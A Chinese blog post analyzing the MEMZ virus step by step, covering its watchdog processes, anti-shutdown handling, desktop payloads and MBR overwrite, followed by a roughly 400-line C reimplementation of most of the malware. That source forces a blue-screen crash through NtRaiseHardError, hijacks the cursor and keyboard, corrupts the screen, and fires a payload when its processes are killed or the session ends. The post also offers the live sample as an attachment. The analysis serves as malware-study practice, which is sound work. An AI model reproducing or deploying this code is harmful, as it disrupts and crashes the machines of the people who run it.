MEMZ病毒分析

第一次分析病毒,拿彩虹猫来练了练手,先自己分析过程,遇到不懂的在看其他师傅的分析,学到很多,本文章将一步步分析彩虹猫病毒的实现过程,并且还原部分代码。

病毒分析的准备工作

环境:我采用的是吾爱破解的xp系统,里面有很多现成的工具,ida,xdbg都有,只不过ida版本有点低,但是对于本病毒的分析也没太大影响,百度网盘链接:https://pan.baidu.com/s/1YvO264J-atvRUZew8AlS9g 提取码:abcd。(如果有大佬知道怎么在xp系统中使用更高版本的ida,或者有更好的分析病毒的虚拟机,可以在评论区给点资源,谢谢啦)

分析步骤,一般的病毒分析步骤,如下

  • 查壳,常见的有upx,ASpack,等等,可以用来实现简单免杀。
  • 行为分析,是否修改注册表,联网,等等,可以在虚拟机中跑一遍看看效果(但是不要直接连网),或者用vt直接跑跑看,有个大致的判断。
  • 导入的dll以及API,使用StudyPE+去查看。
  • 关键字符串,ida中shift+f12就可以直接查看。
  • 放到ida静态分析,或者动调。

但是,对于彩虹猫病毒这个样本,里面的函数和逻辑都比较清晰,先在虚拟机里面跑几遍,看看行为,就直接开始分析了。

分析过程

分析过程大致分为3部分,启动部分,检测部分,彩虹部分,MBR部分。

启动部分

首先判断该进程的传参,类似于标准 C 运行时argv和argc值。从而走不同的流程。

然后看下面干了什么。

大概就是以不同参数开了6个MEMZ.exe进程。对于里面出现的函数可以到MSDN官方文档去查,举个例子,对于**SetPriorityClass()**,推荐在谷歌用必应上直接搜索该函数,然后进官方文档看函数参数意义,比如说,我要看0x80代表什么。

检测部分

这一部分就是用来判断用户是否主动关机,是否主动关闭MEMZ.exe,从而来用函数进行相应措施。

最外层。


然后来看看创建的线程函数check干了什么。

可以看出check函数用来判断是否主动关闭MEMZ.exe。

shutdown()函数中的StartAddress无法直接反编译,先用一位师傅谁的狗哥处理一下函数,然后来看看shutdown()函数。

然后看看创建的20个线程,就是用SetWindowsHookExW()实现了20个随机位置的messagebox弹窗,要理解这一部分,去查阅官方文档的函数。

然后我们跳出来,回到最外层,来看看消息处理函数干了什么。

WM_QUERYENDSESSION,https://blog.csdn.net/jessicaiu/article/details/83107903所以这个就是用来防用户关机的。

到这里检测部分就分析完了。

彩虹部分

这部分是参数为/main的MEZE.exe进程执行的。主要表现在电脑桌面的花里胡哨。


这里v9类似于下面的结构

1
2
3
4
5
6
7

typedef struct {
int time;
int (*func)();
}functable;

functable a[10];

下面来分析这10个函数,里面很多api就不多讲了。

**func1()**,实现乱打开程序和网站。

**func2()**,实现鼠标不受控制。

**func3()**,键盘消息

**func4()**,发出声音

**func5()**,桌面变色。

**func6()**,随机弹窗

**func7()**,图标显示

**func8()**,不知道效果,迭代子窗口。

**func9()**,桌面窗口复制显现。

**fun10()**,随机复制某块区域。

一些函数的执行次数数是有限的,一些是随机的,可以看线程函数的代码。

MBR部分

这部分也是在以/main为参数的MEMZ.exe实现的。该部分才是真正十分有危害的部分。

MRB介绍:http://c.biancheng.net/view/1015.html,可以很形象的从文章最后一张图片看出MRB就是用来启动操作系统的。而MEMZ.exe的MBR部分就是修改了MRB。

开始我是直接动调,dump出了这段数据,然后拖到ida去分析,但是根本看不了。后面又看了狗哥的方法,就去试了试,还真可以,下面来写写详细过程。

环境搭建,首先我们需要在虚拟机里面下载Bochs,然后双击bximage.exe,然后选择1,选择fd,然后选大小,然后写名称。

将得到的img和bochsrc-sample.txt都复制到新建的文件夹里面,路径桌面都行,但不要有中文。

打开bochsrc-sample.txt的该处修改ata0-master:

然后修改.txt为.bxrc,双击,然后选择continue,ok。

然后将bochsrc-sample..bxrc拖到ida分析,就可以动调了。动调还是一样的,只不过是16位汇编,分析起确实恼火,我也只能通过看反应,和看寄存器来分析个大概。

动调分析。

解密第二部分数据

打印字符串

播放视频

到这里该病毒就差不多分析完了。

部分代码实现

几乎除了MRB部分都写了,但是防关机功能并未成功,如果知道问题的大佬可以评论一波。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413

#include<windows.h>
#include<Mmsystem.h>
#include<stdio.h>
#include "tlhelp32.h"
#include "tchar.h"
#pragma comment(lib,"winmm.lib")


#define DEF_PROC_NAME (L"test.exe")
int wide;
int high;
HCRYPTPROV hProv;

typedef struct {
int time;
int (*func)();
}functable;

int random1()
{
HCRYPTPROV v1;
BYTE pbBuffer[4] = { 0 };

v1 = hProv;
if (!hProv)
{
if (!CryptAcquireContextW(&hProv, 0, 0, 1u, 0xF0000040))
ExitProcess(1u);
v1 = hProv;
}
CryptGenRandom(v1, 4u, pbBuffer);
return *(unsigned int*)pbBuffer & 0x7FFFFFFF;
}

LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam)
{
int mid_wide, mid_high;
DWORD* cte;


if (nCode == 3)
{
cte = *(DWORD**)lParam;
if ((*(DWORD*)(*(DWORD*)lParam + 32) & 0x80400000) != 0)
{
mid_wide = random1() % (wide - cte[5]);
mid_high = random1() % (high - cte[4]);
cte[7] = mid_wide;
cte[6] = mid_high;
}
}
return CallNextHookEx(0, nCode, wParam, lParam);
}
DWORD WINAPI StartAddress(LPVOID lpParam)
{
DWORD ThreadId;
HHOOK hook;


ThreadId = GetCurrentThreadId();
hook = SetWindowsHookExW(5, CBTProc, 0, ThreadId);
MessageBoxA(0, "hacked by The_Itach1", "The_Itach1", 0x1010u);
UnhookWindowsHookEx(hook);
return 0;

}

void BLUE()
{
//typedef void (* pdef_RtlAdjustPrivilege)(DWORD, DWORD, BOOLEAN, LPBYTE);
//typedef void (* pdef_NtRaiseHardError)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD);

//HMODULE hMod=NULL;
//FARPROC RtlAdjustPrivilege;
//FARPROC NtRaiseHardError;
//unsigned char ErrKill;
//long unsigned int HDErr;

//hMod = LoadLibraryA("ntdll");
//RtlAdjustPrivilege = GetProcAddress(hMod, "RtlAdjustPrivilege");
//NtRaiseHardError = GetProcAddress(hMod, "NtRaiseHardError");

//pdef_RtlAdjustPrivilege NtCall = (pdef_RtlAdjustPrivilege)RtlAdjustPrivilege;
//pdef_NtRaiseHardError NtCall2 = (pdef_NtRaiseHardError)NtRaiseHardError;

//if (RtlAdjustPrivilege && NtRaiseHardError)
//{
// NtCall(19, TRUE, FALSE, &ErrKill);
// NtCall2(0xc0000233, 0, 0, 0, 6, &HDErr);
//}
HMODULE ntdll = LoadLibraryA("ntdll");
FARPROC RtlAdjPriv = GetProcAddress(ntdll, "RtlAdjustPrivilege");
FARPROC NtRaiseHardErr = GetProcAddress(ntdll, "NtRaiseHardError");
unsigned char ErrKill;
long unsigned int HDErr;
((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjPriv)(0x13, true, false, &ErrKill);
((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardErr)(0xc0000233, 0, 0, 0, 6, &HDErr);
}

int shutdown()
{
int i;
wide = GetSystemMetrics(0);
high = GetSystemMetrics(1);
for (i = 0; i < 1; i++)
{
CreateThread(0, 0x1000u, StartAddress, 0, 0, 0);
Sleep(500);
}
//BLUE();
return 0;
}

DWORD WINAPI check(LPVOID lpParam)
{
HANDLE hSnapShot = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe;
int num = 0;
Sleep(0x3E8u);
while (1)
{
int pro_num = 0;
pe.dwSize = sizeof(PROCESSENTRY32);
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);

Process32First(hSnapShot, &pe);
do
{
if (!_tcsicmp(DEF_PROC_NAME, (LPCTSTR)pe.szExeFile))
{
pro_num++;
}
} while (Process32Next(hSnapShot, &pe));

CloseHandle(hSnapShot);
if (pro_num < num)
{
shutdown();
}
num = pro_num;
}

return 0;

}



int func1()
{
LPCSTR website[3] = { "https://www.baidu.com/", "https://the_itach1.gitee.io/","https://cn.bing.com/" };
ShellExecuteA(0, "open", website[random1() % 3], 0, 0, 10);
return 1;
}

int func2()
{
POINT Point;
int x, y;
GetCursorPos(&Point);
x = random1() % wide;
y = random1() % high;
Point.x = x;
Point.y = y;
SetCursorPos(Point.x, Point.y);
return 1;
}

int func3()
{
INPUT input;
input.type = 1;
input.ki.wVk = random1() % 42 + 0x30;
printf("%d", input.ki.wVk);
SendInput(INPUT_KEYBOARD, &input, 28);
return 1;
}

int func4()
{
LPCSTR pszSound[3] = { "SystemHand" ,"SystemQuestion" ,"SystemExclamation" };
int num = random1();
PlaySoundA(pszSound[num % 3], 0, 1u);
return 1;
}

int func5()
{
HWND desktop;
HDC winddc;
RECT rect;

desktop = GetDesktopWindow();
winddc = GetWindowDC(desktop);
GetWindowRect(desktop, &rect);
printf("%d %d %d %d", rect.top, rect.bottom, rect.left, rect.right);
BitBlt(winddc, 0, 0, rect.right - rect.left, rect.bottom - rect.top, winddc, 0, 0, NOTSRCCOPY);
ReleaseDC(desktop, winddc);
return 1;
}

DWORD WINAPI threadptr(LPVOID lpParam)
{
DWORD ThreadId;
HHOOK hook;


ThreadId = GetCurrentThreadId();
hook = SetWindowsHookExW(5, CBTProc, 0, ThreadId);
MessageBoxA(0, "Still using this computer?", "The_Itach1", 0x1010u);
UnhookWindowsHookEx(hook);
return 0;

}

int func6()
{
CreateThread(0, 0x1000u, threadptr, 0, 0, 0);
return 1;
}

int func7()
{
int icon_w, icon_h;
HWND desktop;
HDC winddc;
POINT Point;
HICON hicon1, hicon2;

icon_w = GetSystemMetrics(11) / 2;
icon_h = GetSystemMetrics(12) / 2;
printf("%d %d\n", icon_w, icon_h);
desktop = GetDesktopWindow();
winddc = GetWindowDC(desktop);
GetCursorPos(&Point);
hicon1 = LoadIconW(0, IDI_ERROR);
DrawIcon(winddc, Point.x - icon_w, Point.y - icon_h, hicon1);

hicon2 = LoadIconW(0, IDI_EXCLAMATION);
DrawIcon(winddc, random1() % wide, random1() % high, hicon2);
ReleaseDC(desktop, winddc);
return 1;
}

int func9()
{
HWND desktop;
HDC winddc;
RECT Rect;

desktop = GetDesktopWindow();
winddc = GetWindowDC(desktop);
GetWindowRect(desktop, &Rect);
StretchBlt(winddc, 50, 50, Rect.right - 100, Rect.bottom - 100, winddc, 0, 0, Rect.right, Rect.bottom, SRCCOPY);
ReleaseDC(desktop, winddc);
return 1;
}

int func10()
{
HWND desktop;
HDC winddc;
RECT Rect;
int x, y, m, n, p, q;

desktop = GetDesktopWindow();
winddc = GetWindowDC(desktop);
GetWindowRect(desktop, &Rect);

x = random1() % (Rect.right - 100);
y = random1() % (Rect.bottom - 100);
m = random1() % 600;
n = random1() % 600;
p = random1() % (Rect.right - 100);
q = random1() % (Rect.bottom - 100);

BitBlt(winddc, x, y, m, n, winddc, p, q, SRCCOPY);
ReleaseDC(desktop, winddc);
return 1;
}

DWORD WINAPI th(LPVOID lpParam)
{
int i;

for (i = 0; i <= 30; i++)
{
(*(*(int(__cdecl*)(void)) lpParam))();
Sleep(1000);
}
return 0;

}

void fungame()
{
functable a[9];
int i;

a[0].func = func1;
a[1].func = func2;
a[2].func = func3;
a[3].func = func4;
a[4].func = func5;
a[5].func = func6;
a[6].func = func7;
a[7].func = func9;
a[8].func = func10;


DWORD* lpParam;

for (i = 0; i < 9; i++)
{
lpParam =(DWORD*) a[i].func;
Sleep(20000);
CreateThread(0, 0, th, lpParam, 0, 0);
Sleep(100);
}
}

LRESULT CALLBACK WndProc(
HWND hwnd,
UINT uMsg,
WPARAM wParam,
LPARAM lParam
)
{
if (uMsg != 16 && uMsg != 22)
return DefWindowProcW(hwnd, uMsg, wParam, lParam);
shutdown();
return 0;
}
int main()
{
int i;
int process_num = 3;
WCHAR* filename;
LPWSTR cmdline;
LPWSTR* Argv;
int pNumArgs = 0;
WNDCLASSEXA wndclass;
MSG Msg;
HWND hWnd;
SHELLEXECUTEINFOW pExecInfo = { 0 };

wide = GetSystemMetrics(SM_CXFULLSCREEN);
high = GetSystemMetrics(SM_CYFULLSCREEN);
cmdline = GetCommandLineW();
Argv = CommandLineToArgvW(cmdline, &pNumArgs);


if (pNumArgs > 1)
{
if (!lstrcmpW(Argv[1], L"/watch"))
{
CreateThread(0, 0, check, 0, 0, 0);
wndclass.cbSize = 48;
wndclass.lpszClassName = "The_Itach1";
wndclass.lpfnWndProc = WndProc;
wndclass.style = 0;
wndclass.cbClsExtra = 0;
wndclass.hInstance = 0;
wndclass.hIcon = 0;
wndclass.hCursor = 0;
wndclass.hbrBackground = 0;
wndclass.hIconSm = 0;
RegisterClassExA(&wndclass);
hWnd = CreateWindowExA(0, "The_Itach1", 0, 0, 0, 0, 100, 100, 0, 0, 0, 0);
while (GetMessageW(&Msg, 0, 0, 0) != 0)
{
TranslateMessage(&Msg);
DispatchMessageW(&Msg);
}
}

fungame();
while (1)
Sleep(0x2710u);
}


if (MessageBoxA(
0,
"Are you ready to play the new game?\r\n"
"Please turn off all other processes, and then click OK.\r\n"
, "The_Itach1"
, 0x34u) == 6)
{
filename = (WCHAR*)LocalAlloc(0x40u, 0x4000u);
GetModuleFileNameW(0, filename, 0x2000u);

for (i = 0; i < process_num; i++)
{
ShellExecuteW(0, 0, filename, L"/watch", 0, 10);
}


pExecInfo.cbSize = 60;
pExecInfo.lpFile = filename;
pExecInfo.lpParameters = L"/main";
pExecInfo.fMask = 64;
pExecInfo.hwnd = 0;
pExecInfo.lpVerb = 0;
pExecInfo.lpDirectory = 0;
pExecInfo.hInstApp = 0;
pExecInfo.nShow = 10;
ShellExecuteExW(&pExecInfo);
SetPriorityClass(pExecInfo.hProcess, HIGH_PRIORITY_CLASS);
}
ExitProcess(0);
}

myblog:The_Itach1

然后附件给一下病毒和dump出的MRB部分吧。